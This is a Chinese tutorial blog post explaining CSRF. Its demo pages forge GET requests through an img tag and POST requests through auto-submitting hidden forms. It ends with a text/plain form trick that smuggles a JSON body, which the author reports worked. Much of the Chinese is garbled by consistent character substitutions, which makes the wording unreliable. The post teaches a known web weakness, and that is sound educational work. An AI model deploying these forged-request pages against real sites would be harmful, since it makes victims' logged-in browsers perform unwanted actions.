乐趣区

关于csrf:CSRF攻击的示例讲解

原文:https://mp.weixin.qq.com/s?__…
微信公众号: 毛毛虫的小小蜡笔

CSRF 简介

Cross-site request forgery,跨站申请伪造,通常缩写为 CSRF 或者 XSRF。

CSRF 之 get 申请攻打

发动 get 申请攻打比较简单,只须要通过 img 标签就可实现。

因为受浏览器同源策略限度,因而不能通过 ajax 来发动 get 申请。

Demo 验证

代码:

// 这段代码是网站 B 的页面,只是发动了网站 A 的申请
// src 的值就是网站 A 下的 get 申请
<head>
    <meta charset="utf-8">
    <title>csrf 之 get 申请攻打 </title>
</head>
<body>
    <img src="http://xxx">
</body>

成果:

用户关上攻击者网站 B,则会主动发动网站 A 的 get 申请,状态码 200 示意胜利。
如下截图所示:

通过抓包查看,申请是带上了 cookie,响应也是失常的。
如下截图所示:

就是如果在别的网站能发动网站 A 的申请,网站 A 就是存在 CSRF 破绽了。
只是 get 申请的危害没有 post 申请那么大,但也不能疏忽。
但凡破绽都要提起十二分精力。

CSRF 之 post 申请攻打

相比 get 申请的攻打,想发动 post 申请的攻打,就没那么容易实现。

首先咱们晓得,在网站 B 是不能通过 ajax 发动网站 A 的 post 申请的,因为有同源策略限度。
但须要留神的是,同源策略只是限度了 XMLHttpRequest 和 Fetch API,而 html 的 form 标签则不受同源策略限度。
同样,get 申请的 img 标签也不受同源策略。

1. 测试 form 表单发动 post 申请是否能攻打胜利

代码:

// 这段代码是网站 B 的页面,只是发动了网站 A 的申请
<head>
    <meta charset="utf-8">
    <title>csrf-post</title>
</head>
<body>
    <form id="form" action="http://xxx" method="POST" target="iframe1">
        <input type="text" name="id" value="70">
        <input type="text" name="biz_module_id" value="[15]">
        <input type="text" name="deploy_path" value="">
        <input type="text" name="description" value="test">
        <input type="text" name="name" value="config.txt">
        <input type="text" name="version" value="1">
    </form>
    <iframe name="iframe1"></iframe>
    <script>
        document.getElementById('form').submit()
    </script>
</body>

成果:

论断:

很显著申请是不胜利的。
但能把网站 A 的登录态带过来,也算是胜利了一部分。

比照下网站 A 的 post 申请,发现两者的申请数据格式不一样。

网站 A 的如下图所示:

剖析:

form 申请的数据格式跟 enctype 属性无关。
默认的是 application/x-www-form-urlencoded,此时就是 Form Data。
编码类型总共三种,还有两种是:multipart/form-data 和 text/plain。
前者是上传文件用的,后者用的比拟少。
但正是通过 text/plain,能够将数据格式改为 Request Payload。

2. 再次验证

代码:

// 在下面的代码的根底上,把 form 新增 enctype 属性
<head>
    <meta charset="utf-8">
    <title>csrf-post</title>
</head>
<body>
    <form id="form" action="http://xxx" method="POST" target="iframe1" enctype="text/plain">
        <input type="text" name="id" value="70">
        <input type="text" name="biz_module_id" value="[15]">
        <input type="text" name="deploy_path" value="">
        <input type="text" name="description" value="test">
        <input type="text" name="name" value="config.txt">
        <input type="text" name="version" value="1">
    </form>
    <iframe name="iframe1"></iframe>
    <script>
        document.getElementById('form').submit()
    </script>
</body>

成果:

论断:

胜利的把数据格式改为 Request Payload 了,但为啥接口仍然报错?

再认真比照下网站 A 和网站 B 的申请,就能够发现:
网站 A 那边是 JSON 格局,但网站 B 这边不是 JSON,就是纯文本加换行的一个格局,那这样必定有问题。

剖析:

那有什么好方法解决呢?
只能持续对 form 表单的参数进行深刻开掘了。

form 表单的参数就是 input 标签等的 name 和 value 组成的一些列参数,那可否只用一个 input 标签,把所有参数都拼接起来?

3. 拼接参数,再次验证

代码:

// 在下面的代码的根底上,把 input 改为如下所示:<head>
    <meta charset="utf-8">
    <title>csrf-post</title>
</head>
<body>
    <form id="form" action="http://xxx" method="POST" target="iframe1" enctype="text/plain">
        <input type="text" name='{"id":70,"biz_module_id":[15],"deploy_path":"","description":"test","name":"config.txt","version":"'value='123"}"'>
    </form>
    <iframe name="iframe1"></iframe>
    <script>
        document.getElementById('form').submit()
    </script>
</body>

成果:

论断:

攻打胜利了。

只有功夫深,还是有点播种的。

最初

  • 公众号《毛毛虫的小小蜡笔》

有疑难和问题,请留言。

如果感觉文章还能够,请点赞或珍藏,谢谢。

退出移动版